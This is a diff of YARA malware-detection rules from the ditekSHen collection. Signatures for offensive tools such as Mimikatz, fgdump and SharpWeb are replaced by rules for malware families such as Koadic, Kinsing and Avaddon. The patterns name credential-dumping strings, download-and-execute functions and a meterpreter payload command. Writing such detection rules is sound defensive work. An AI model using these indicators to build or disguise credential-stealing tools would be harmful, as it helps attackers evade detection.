+ $s1 = "add_Connected" fullword ascii + $s2 = "Statconnected" fullword ascii + $s3 = "StartConnect" fullword ascii + $s4 = "TelegramTitleDetect" fullword ascii + $s5 = "StartTitleTelegram" fullword ascii + $s6 = "Check_titles" fullword ascii + $s7 = "\\MoDi RAT V" ascii + $s8 = "IsBuzy" fullword ascii + $s9 = "Recording_Time" fullword wide condition: - uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) and 1 of ( $p* ) ) + ( uint16( 0 ) == 0x5a4d and 7 of them ) or all of them } -rule DITEKSHEN_INDICATOR_TOOL_CNC_Shootback : FILE +rule DITEKSHEN_MALWARE_DOC_Koadicdoc : FILE { meta: - description = "detects Python executable for CnC communication via reverse tunnels. Used by MuddyWater group." + description = "Koadic post-exploitation framework document payload" author = "ditekSHen" - id = "fb608115-6d9f-5640-88be-674e53b07126" + id = "76d6c8df-4e42-5c0a-8344-f8848e7ac945" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L43-L62" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1160-L1174" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "996cabd4965164cb844cee1ab1e2894fc2b4fac14d4e660c456b494c5cbd0688" + logic_hash = "9f0538e1faee737a08d403a7f321ce45bdc70b390accfe378ba0d26292509fd7" score = 75 quality = 50 tags = "FILE" strings: - $s1 = "PYTHON27.DLL" fullword wide - $s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii - $s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii - $s4 = "subprocess.pyc" fullword ascii - $s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii - $p1 = "Slaver(this pc):" ascii - $p2 = "Master(another public server):" ascii - $p3 = "Master(this pc):" ascii - $p4 = "running as slaver, master addr: {} target: {}R/" fullword ascii - $p5 = "Customer(this pc): " ascii - $p6 = "Customer(any internet user):" ascii - $p7 = "the actual traffic is: customer <--> master(1.2.3.4) <--> slaver(this pc) <--> ssh(this pc)" fullword ascii + $s1 = "&@cls&@set" ascii + $s2 = /:~\d+,1%+/ ascii + $s3 = "Header Char" fullword wide + $s4 = "EMBED Package" ascii + $b1 = ".bat\"%" ascii + $b2 = ".bat');\\\"%" ascii + $b3 = ".bat',%" ascii condition: - uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) and 2 of ( $p* ) ) + uint16( 0 ) == 0xcfd0 and all of ( $s* ) and 2 of ( $b* ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Fgdump : FILE +rule DITEKSHEN_MALWARE_BAT_Koadicbat : FILE { meta: - description = "detects all versions of the password dumping tool, fgdump. Observed to be used by DustSquad group." + description = "Koadic post-exploitation framework BAT payload" author = "ditekSHen" - id = "2759fce2-db2a-5a48-bb37-931fd847a32d" + id = "dad7bb32-b1f1-5c6d-89b2-77cc49b5f020" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L64-L81" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1176-L1186" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "fdccd91a84374f7c94843bd9c2191720959416acf2e33d7b28b42d63d7ea4ce3" + logic_hash = "1ee6c0189a5111c61af1dbe571524427bff95a7e3907f97ce51d272a8f701cf5" score = 75 - quality = 75 + quality = 50 tags = "FILE" strings: - $s1 = "dumping server %s" ascii - $s2 = "dump on server %s" ascii - $s3 = "dump passwords: %s" ascii - $s4 = "Dumping cache" nocase ascii - $s5 = "SECURITY\\Cache" ascii - $s6 = "LSASS.EXE process" ascii - $s7 = " AntiVirus " nocase ascii - $s8 = " IPC$ " ascii - $s9 = "Exec failed, GetLastError returned %d" fullword ascii - $10 = "writable connection to %s" ascii + $v1_1 = "&@cls&@set" ascii + $v2_1 = { 26 63 6c 73 0d 0a 40 25 } + $m1 = /:~\d+,1%+/ ascii condition: - uint16( 0 ) == 0x5a4d and 5 of them + uint16( 0 ) == 0xfeff and ( ( 1 of ( $v1* ) or 1 of ( $v2* ) ) and #m1 > 100 ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Sharpweb : FILE +rule DITEKSHEN_MALWARE_JS_Koadicjs { meta: - description = "detects all versions of the browser password dumping .NET tool, SharpWeb." + description = "Koadic post-exploitation framework JS payload" author = "ditekSHen" - id = "f85dd689-c2a9-5cea-9c19-1e66ec942606" + id = "8598d5cb-0486-52b0-a686-6bd014f35c44" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L83-L110" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1188-L1208" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "036d576eb7acdededda7b31d3dda3a4928e01ff761bf45a1112da6bf7d4e2966" + logic_hash = "689116f74996fecf4c16c224e8cd842ad5b5e989de2dfdf0debeb9a26d8a12fa" score = 75 - quality = 40 - tags = "FILE" + quality = 75 + tags = "" strings: - $param1 = "logins" nocase wide - $param2 = "cookies" nocase wide - $param3 = "edge" nocase wide - $param4 = "firefox" nocase wide - $param5 = "chrome" nocase wide - $path1 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" wide - $path2 = "\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\" wide - $path3 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" wide - $path4 = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Bookmarks" wide - $sql1 = "UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;" nocase wide - $sql2 = "UPDATE %Q.%s SET type='%s', name=%Q, tbl_name=%Q, rootpage=#%d, sql=%Q WHERE rowid=#%d" nocase wide - $sql3 = "SELECT action_url, username_value, password_value FROM logins" nocase wide - $func1 = "get_encryptedPassword" fullword ascii - $func2 = "<GetLogins>g__GetVaultElementValue0_0" fullword ascii - $func3 = "<encryptedPassword>k__BackingField" fullword ascii - $pdb = "\\SharpWeb\\obj\\Debug\\SharpWeb.pdb" fullword ascii + $s1 = "window.moveTo(-" ascii + $s2 = "window.onerror = function(sMsg, sUrl, sLine) { return false; }" fullword ascii + $s3 = "window.onfocus = function() { window.blur(); }" fullword ascii + $s4 = "window.resizeTo(" ascii + $s5 = "window.blur();" fullword ascii + $hf1 = "<hta:application caption=\"no\" windowState=\"minimize\" showInTaskBar=\"no\"" fullword ascii + $hf2 = "<hta:application caption=\"no\" showInTaskBar=\"no\" windowState=\"minimize\" navigable=\"no\" scroll=\"no\"" + $ht1 = "<hta:application" ascii + $ht2 = "caption=\"no\"" ascii + $ht3 = "showInTaskBar=\"no\"" ascii + $ht4 = "windowState=\"minimize\"" ascii + $ht5 = "navigable=\"no\"" ascii + $ht6 = "scroll=\"no\"" ascii condition: - uint16( 0 ) == 0x5a4d and ( ( 1 of ( $func* ) and 3 of ( $param* ) and ( 1 of ( $path* ) or 1 of ( $sql* ) ) ) or $pdb ) + all of ( $s* ) and ( 1 of ( $hf* ) or all of ( $ht* ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Blackbone : FILE +rule DITEKSHEN_MALWARE_Win_NETEAGLE : FILE { meta: - description = "detects Blackbone password dumping tool on Windows 7-10 operating system." + description = "NETEAGLE backdoor payload" author = "ditekSHen" - id = "a6d9f9d1-75fb-51af-87ad-80b4e135e759" + id = "89d1304a-63a0-50fc-855a-2e36cde1c5e7" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L112-L129" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1210-L1225" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "e9dacd28accaef8a93ff8d3b5cf9437b3848791711a4a7118ab46d2bb6ca42d3" + logic_hash = "148de0ca332d3885d94eae8d15eb4aaa2bc4950c691c0e8817c816b7d4c55510" score = 75 - quality = 75 + quality = 50 tags = "FILE" strings: - $s1 = "BlackBone: %s: " ascii - $s2 = "\\BlackBoneDrv\\" ascii - $s3 = "\\DosDevices\\BlackBone" fullword wide - $s4 = "\\Temp\\BBImage.manifest" wide - $s5 = "\\Device\\BlackBone" fullword wide - $s6 = "BBExecuteInNewThread" fullword ascii - $s7 = "BBHideVAD" fullword ascii - $s8 = "BBInjectDll" fullword ascii - $s9 = "ntoskrnl.exe" fullword ascii - $s10 = "WDKTestCert Ton," ascii + $s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword ascii + $s2 = "System\\CurrentControlSet\\control\\ComputerName\\ComputerName" fullword ascii + $s3 = "Mozilla/4.0 (compatible; MSIE 5.0; Win32)" fullword ascii + $s4 = "/index.htm" fullword ascii + $s5 = "Help_ME" fullword ascii + $s6 = "GOTO ERROR" ascii + $s7 = "127.0.0.1" fullword ascii + $s8 = /pic\d\.bmp/ ascii wide condition: - uint16( 0 ) == 0x5a4d and 5 of them + uint16( 0 ) == 0x5a4d and 7 of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Mimikatz : FILE +rule DITEKSHEN_MALWARE_WIN_BACKSPACE : FILE { meta: - description = "Detects Mimikatz" + description = "BACKSPACE backdoor payload" author = "ditekSHen" - id = "feb236c0-6e0d-5c2c-a050-cf1d000aaf38" + id = "ff9b1c2e-66a1-5e09-8bc2-a7543161e518" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L131-L164" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1227-L1247" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "42c9c78c88bb7c427d5f0bf1d3b0113205780142b499eb17858037ded0f2971e" + logic_hash = "3d366327c2272761349687b11e4d6baada5000936dc7f81665e0303f7d1e5121" score = 75 - quality = 48 + quality = 75 tags = "FILE" strings: - $s1 = "mimilib.dll" ascii - $s2 = "mimidrv.sys" ascii - $s3 = "mimikatz.exe" ascii - $s4 = "\\mimidrv.pdb" ascii - $s5 = "mimikatz" ascii - $s6 = { 6d 00 69 00 6d 00 69 00 6b 00 61 00 74 00 7a } - $s7 = { 5c 00 6d 00 69 00 6d 00 69 00 64 00 72 00 76 } - $s8 = { 6d 00 69 00 6d 00 69 00 64 00 72 00 76 } - $s9 = "Lecture KIWI_MSV1_0_" ascii - $s10 = "Search for LSASS process" ascii - $f1 = "SspCredentialList" ascii - $f2 = "KerbGlobalLogonSessionTable" ascii - $f3 = "LiveGlobalLogonSessionList" ascii - $f4 = "TSGlobalCredTable" ascii - $f5 = "g_MasterKeyCacheList" ascii - $f6 = "l_LogSessList" ascii - $f7 = "lsasrv!" ascii - $f8 = "SekurLSA" ascii - $f9 = /Cached(Unlock|Interative|RemoteInteractive)/ ascii - $dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 } - $dll_2 = { c7 0? 10 02 00 00 ?? 89 4? } - $sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 } - $sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 } + $s1 = "Software\\Microsoft\\PnpSetup" ascii wide + $s2 = "Mutex_lnkword_little" ascii wide + $s3 = "(Prxy%c-%s:%u)" fullword ascii + $s4 = "(Prxy-No)" fullword ascii + $s5 = "/index.htm" fullword ascii + $s6 = "CONNECT %s:%d" ascii + $s7 = "\\$NtRecDoc$" fullword ascii + $s8 = "qazWSX123$%^" ascii + $s9 = "Software\\Microsoft\\Core" ascii wide + $s10 = "Mutex_lnkch" ascii wide + $s11 = "Event__lnkch__" ascii wide + $s12 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)" fullword ascii + $s13 = "User-Agent: Mozilla/5.00 (compatible; MSIE 6.0; Win32)" fullword ascii condition: - uint16( 0 ) == 0x5a4d and ( 2 of ( $* ) or 3 of ( $f* ) or all of ( $dll_* ) or any of ( $sys_* ) ) + uint16( 0 ) == 0x5a4d and 8 of them } -rule DITEKSHEN_INDICATOR_TOOL_SCN_Portscan : FILE +rule DITEKSHEN_MALWARE_Win_Rhttpctrl : FILE { meta: - description = "Detects a port scanner tool observed as second or third stage post-compromise or dropped by malware." + description = "RHttpCtrl backdoor payload" author = "ditekSHen" - id = "f270e098-17a0-5d66-acd0-c946a29919f4" + id = "fa80db13-90af-5d6a-bcc2-ad1f6808268e" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L166-L180" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1249-L1265" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "ebe5eb045a250ca38a55ac43018548074e9db160d76737c36f8ae5ea268b7b10" + logic_hash = "a8b27fcc4636c2fe02a0e006295ece7f705cc9a042921f66ef1f9b6a88aaf9a1" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "HEAD / HTTP/1.0" fullword ascii - $s2 = "Result.txt" fullword ascii - $s3 = "Example: %s SYN " ascii - $s4 = "Performing Time: %d/%d/%d %d:%d:%d -->" fullword ascii - $s5 = "Bind On IP: %d.%d.%d.%d" fullword ascii - $s6 = "SYN Scan: About To Scan %" ascii - $s7 = "Normal Scan: About To Scan %" ascii + $s1 = "%d_%04d%02d%02d%02d%02d%02d." ascii + $s2 = "ver=%s&id=%06d&type=" ascii + $s3 = "ver=%d&id=%s&random=%d&" ascii + $s4 = "id=%d&output=%s" ascii + $s5 = "Error:WinHttpCrackUrl failed!/n" ascii + $s6 = "Error:SendRequest failed!/n" ascii + $s7 = ".exe a %s %s" ascii + $s8 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0" fullword wide + $pdb = "\\WorkSources\\RHttpCtrl\\Server\\Release\\svchost.pdb" ascii condition: - uint16( 0 ) == 0x5a4d and 5 of them + uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( $pdb and 2 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_MEM_Mxtract : FILE +rule DITEKSHEN_MALWARE_Win_Pillowmint : FILE { meta: - description = "Detects mXtract, a linux-based tool that dumps memory for offensive pentration testing and can be used to scan memory for private keys, ips, and passwords using regexes." + description = "PillowMint POS payload" author = "ditekSHen" - id = "e8c5e5b3-aa98-5f7f-9410-3efeef725f41" + id = "e3d26a12-45aa-5f5d-997a-f350bc1bea97" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L182-L195" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1267-L1283" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "8271722c3b8f4458d20cf874d37e87e3b1fde701205ff54f0360fb87f717fc3f" - score = 50 - quality = 69 + logic_hash = "ed2597fce1c56d2e110790e0eb89834b1bb9f6f52d39105157c9ffe2ede6cc7a" + score = 75 + quality = 75 tags = "FILE" strings: - $s1 = "_ZN18process_operations10get_rangesEv" fullword ascii - $s2 = "_ZN4misc10write_dumpESsSs" fullword ascii - $s3 = "_ZTVNSt8__detail13_Scanner_baseE" fullword ascii - $s4 = "Running as root is recommended as not all PIDs will be scanned" fullword ascii - $s5 = "ERROR ATTACHING TO PROCESS" fullword ascii - $s6 = "ERROR SCANNING MEMORY RANGE" fullword ascii + $s1 = "system32\\sysvols\\" ascii nocase + $s2 = "Sysnative\\sysvols\\" ascii nocase + $s3 = "critical.log" fullword ascii + $s4 = "log.log" fullword ascii + $s5 = "commands.txt" fullword ascii + $s6 = "_EV0LuTi0N_" ascii + $s7 = /(file|reg)\scmd:/ fullword ascii + $s8 = "dumper_nologs_" ascii + $s9 = "ReflectiveLoader" ascii condition: - ( uint32( 0 ) == 0x464c457f or uint16( 0 ) == 0x457f ) and 3 of them + uint16( 0 ) == 0x5a4d and 6 of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Sniffpass : FILE +rule DITEKSHEN_MALWARE_Win_Blackshadesrat : FILE { meta: - description = "Detects SniffPass, a password monitoring software that listens on the network and captures passwords over POP3, IMAP4, SMTP, FTP, and HTTP." + description = "BlackshadesRAT / Cambot POS payload" author = "ditekSHen" - id = "b96498d4-bbe3-5cb8-9c24-91ebb51e078a" + id = "bd0ad920-109a-50b5-94af-6580684bff52" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L197-L212" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1285-L1300" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "9b56ee4bac39b4220b24e92d00076650ffe84b71a60c0213a84fcf21c6cfe4cf" + logic_hash = "5c2a76ce52bce9c37a3518ff459011acb733c2c5abac74786e41a1c169459ce2" score = 75 quality = 75 tags = "FILE" + snort_sid = "920208-920210" strings: - $s1 = "\\Release\\SniffPass.pdb" ascii - $s2 = "Password Sniffer" fullword wide - $s3 = "Software\\NirSoft\\SniffPass" fullword ascii - $s4 = "Sniffed PasswordsCFailed to start" wide - $s5 = "Pwpcap.dll" fullword ascii - $s6 = "nmwifi.exe" fullword ascii - $s7 = "NmApi.dll" fullword ascii - $s8 = "npptools.dll" fullword ascii + $s1 = "bhookpl.dll" fullword wide + $s2 = "drvloadn.dll" fullword wide + $s3 = "drvloadx.dll" fullword wide + $s4 = "SPY_NET_RATMUTEX" fullword wide + $s5 = "\\dump.txt" fullword wide + $s6 = "AUTHLOADERDEFAULT" fullword wide + $pdb = "*\\AC:\\Users\\Admin\\Desktop_old\\Blackshades project\\bs_bot\\bots\\bot\\bs_bot.vbp" fullword wide condition: - uint16( 0 ) == 0x5a4d and 4 of them + uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( $pdb and 2 of ( $s* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_Avbypass_Aviator : FILE +rule DITEKSHEN_MALWARE_Win_Goldenspy : FILE { meta: - description = "Detects AVIator, which is a backdoor generator utility, which uses cryptographic and injection techniques in order to bypass AV detection. This was observed to bypass Win.Trojan.AZorult. This rule works for binaries and memory." - author = "ditekSHen" - id = "2bddd64e-baca-58cb-ba52-27487cc4ded5" + description = "GoldenSpy dropper payload" + author = "SpiderLabs Trustwave" + id = "01d3f14a-fefb-5cea-b055-d7e9f4c7d13b" date = "2020-11-06" - modified = "2024-09-25" - reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L214-L240" + modified = "2024-11-01" + reference = "https://trustwave.azureedge.net/media/16908/the-golden-tax-department-and-emergence-of-goldenspy-malware.pdf" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1302-L1314" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "1fb497eec2b0cd4051b5ddd53463f1da511c0a7b72d54a0bc68736a99fdc6143" + logic_hash = "908047db2167733da0089375dbfd636881e721cc219da110755b81581d438cfa" score = 75 - quality = 50 + quality = 67 tags = "FILE" strings: - $s1 = "msfvenom -p windows/meterpreter" ascii wide - $s2 = "payloadBox.Text" ascii wide - $s3 = "APCInjectionCheckBox" ascii wide - $s4 = "Thread Hijacking (Shellcode Arch: x86, OS Arch: x86)" ascii wide - $s5 = "injectExistingApp.Text" ascii wide - $s6 = "Stable execution but can be traced by most AVs" ascii wide - $s7 = "AV/\\tor" ascii wide - $s8 = "AvIator.Properties.Resources" ascii wide - $s9 = "Select injection technique" ascii wide - $s10 = "threadHijacking_option" ascii wide - $pwsh1 = "Convert.ToByte(Payload_Encrypted_Without_delimiterChar[" ascii wide - $pwsh2 = "[DllImport(\"kernel32.dll\", SetLastError = true)]" ascii wide - $pwsh3 = "IntPtr RtlAdjustPrivilege(" ascii wide - $pwsh4 = /InjectShellcode\.(THREADENTRY32|CONTEXT64|WriteProcessMemory\(|CloseHandle\(|CONTEXT_FLAGS|CONTEXT\(\);|Thread32Next\()/ ascii wide - $pwsh5 = "= Payload_Encrypted.Split(',');" ascii wide - $pwsh6 = "namespace NativePayload_Reverse_tcp" ascii wide - $pwsh7 = "byte[] Finall_Payload = Decrypt(KEY, _X_to_Bytes);" ascii wide - $pwsh8 = /ConstantsAndExtCalls\.(WriteProcessMemory\(|CreateRemoteThread\()/ ascii wide + $reg = "Software\\IDG\\DA" nocase wide ascii + $str1 = "requestStr" nocase wide ascii + $str2 = "nb_app_log_mutex" nocase wide ascii + $str3 = { 510F4345[0-10]50518D8DCCFE[0-20]837D1C[0-20]8D45[0-15]0F4345[0-20]505157 } condition: - ( uint16( 0 ) == 0x5a4d and ( 3 of ( $s* ) or 2 of ( $pwsh* ) ) ) or ( 3 of ( $s* ) or 2 of ( $pwsh* ) ) + ( uint16( 0 ) == 0x5A4D ) and $reg and 2 of ( $str* ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Pwdump7 : FILE +rule DITEKSHEN_MALWARE_Win_Plurox : FILE { meta: - description = "Detects Pwdump7 password Dumper" + description = "Plurox backdoor payload" author = "ditekSHen" - id = "dc6ff544-b9de-547b-9fa8-7d0b32e9592d" + id = "c8a97132-c1d5-5456-a055-d46a9399dbdd" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L242-L254" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1316-L1328" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "f84ab69ecc6837a826dc8726785165b8135edf51a47fb5bbaf19dc589b3032bd" + logic_hash = "c2ec2ce7a9210d8eebb06c755eab51cab93fe6d48d737fd1756ffe42d46b35d1" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "savedump.dat" fullword ascii - $s2 = "Asd -_- _RegEnumKey fail!" fullword ascii - $s3 = "\\SAM\\" ascii - $s4 = "Unable to dump file %S" fullword ascii - $s5 = "NO PASSWORD" ascii + $s1 = "autorun.c" fullword ascii + $s2 = "launcher.c" fullword ascii + $s3 = "loader.c" fullword ascii + $s4 = "stealth.c" fullword ascii + $s5 = "RunFromMemory" fullword ascii condition: - ( uint16( 0 ) == 0x5a4d and 4 of them ) or ( all of them ) + uint16( 0 ) == 0x5a4d and all of them } -rule DITEKSHEN_INDICATOR_TOOL_LTM_Sharpexec : FILE +rule DITEKSHEN_MALWARE_Win_Avalon : FILE { meta: - description = "Detects SharpExec lateral movement tool" + description = "Avalon infostealer payload" author = "ditekSHen" - id = "4373a052-9525-5b24-81a4-65cd68afcb6c" + id = "3de01419-9f45-5d82-8391-2e1e41df2b34" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L256-L275" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1330-L1359" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "17ae5c9f0b22e8ecbbbcbe052e466d00cb7b62cff423688b5138209c52f0698d" + logic_hash = "1aa9dc09ec4c8962dee0455dd367e32139e4c03f1b306f17ac6e82d71aacf713" score = 75 - quality = 48 + quality = 75 tags = "FILE" strings: - $s1 = "fileUploaded" fullword ascii - $s2 = "$7fbad126-e21c-4c4e-a9f0-613fcf585a71" fullword ascii - $s3 = "DESKTOP_HOOKCONTROL" fullword ascii - $s4 = /WINSTA_(ACCESSCLIPBOARD|WINSTA_ALL_ACCESS)/ fullword ascii - $s5 = /NETBIND(ADD|DISABLE|ENABLE|REMOVE)/ fullword ascii - $s6 = /SERVICE_(ALL_ACCESS|WIN32_OWN_PROCESS|INTERROGATE)/ fullword ascii - $s7 = /(Sharp|PS|smb)Exec/ fullword ascii - $s8 = "lpszPassword" fullword ascii - $s9 = "lpszDomain" fullword ascii - $s10 = "wmiexec" fullword ascii - $s11 = "\\C$\\__LegitFile" wide - $s12 = "LOGON32_LOGON_NEW_CREDENTIALS" fullword ascii + $s1 = "Parsecards" fullword ascii + $s2 = "Please_Gofuckyouself" fullword ascii + $s3 = "GetDomainDetect" fullword ascii + $s4 = "GetTotalCommander" fullword ascii + $s5 = "KnownFolder" fullword ascii + $s6 = "set_hidden" fullword ascii + $s7 = "set_system" fullword ascii + $l1 = "\\DomainDetect.txt" wide + $l2 = "\\Grabber_Log.txt" wide + $l3 = "\\Programs.txt" wide + $l4 = "\\Passwords_Edge.txt" wide + $l5 = "\\KL.txt" wide + $w1 = "dont touch" fullword wide + $w2 = "Grabber" fullword wide + $w3 = "Keylogger" fullword wide + $w4 = "password-check" fullword wide + $w5 = "H4sIAAAAAAAEA" wide + $p1 = "^(?!:\\/\\/)([a-zA-Z0-9-_]+\\.)*[a-zA-Z0-9][a-zA-Z0-9-_]+\\.[a-zA-Z]{2,11}?$" wide + $p2 = "^([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})$" wide condition: - ( uint16( 0 ) == 0x5a4d and 9 of them ) or ( all of them ) + uint16( 0 ) == 0x5a4d and 8 of them } -rule DITEKSHEN_INDICATOR_TOOL_PRV_Advancedrun : FILE +rule DITEKSHEN_MALWARE_Linux_Kinsing : FILE { meta: - description = "Detects NirSoft AdvancedRun privialge escalation tool" + description = "Kinsing RAT payload" author = "ditekSHen" - id = "c886951a-7ee9-5d38-a724-3dbba8c6ec31" + id = "b13d2c36-c8d3-5138-9e9a-8b5390a93c8d" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L277-L289" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1361-L1376" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "3f39e8f0629647f44a2f473d7b49a8b6adb1acd62de36420b80e7820e63854bb" + logic_hash = "566eb7d1864e3a8088ad4f5d032d6d62a33080bbfc5c20c2520315cfc8146afc" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "RunAsProcessName" fullword wide - $s2 = "Process ID/Name:" fullword wide - $s3 = "swinsta.dll" fullword wide - $s4 = "User of the selected process0Child of selected process (Using code injection) Specified user name and password" fullword wide - $s5 = "\"Current User - Allow UAC Elevation$Current User - Without UAC Elevation#Administrator (Force UAC Elevation)" fullword wide + $s1 = "backconnect" ascii + $s2 = "connectForSocks" ascii + $s3 = "downloadAndExecute" ascii + $s4 = "download_and_exec" ascii + $s5 = "masscan" ascii + $s6 = "UpdateCommand:" ascii + $s7 = "exec_out" ascii + $s8 = "doTask with type %s" ascii condition: - uint16( 0 ) == 0x5a4d and 3 of them + uint16( 0 ) == 0x457f and 6 of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Amady : FILE +rule DITEKSHEN_MALWARE_Win_Avaddon : FILE { meta: - description = "Detects password stealer DLL. Dropped by Amadey" + description = "Avaddon ransomware payload" author = "ditekSHen" - id = "6ee4e25b-bf38-5664-a08f-94e3fa92aa29" + id 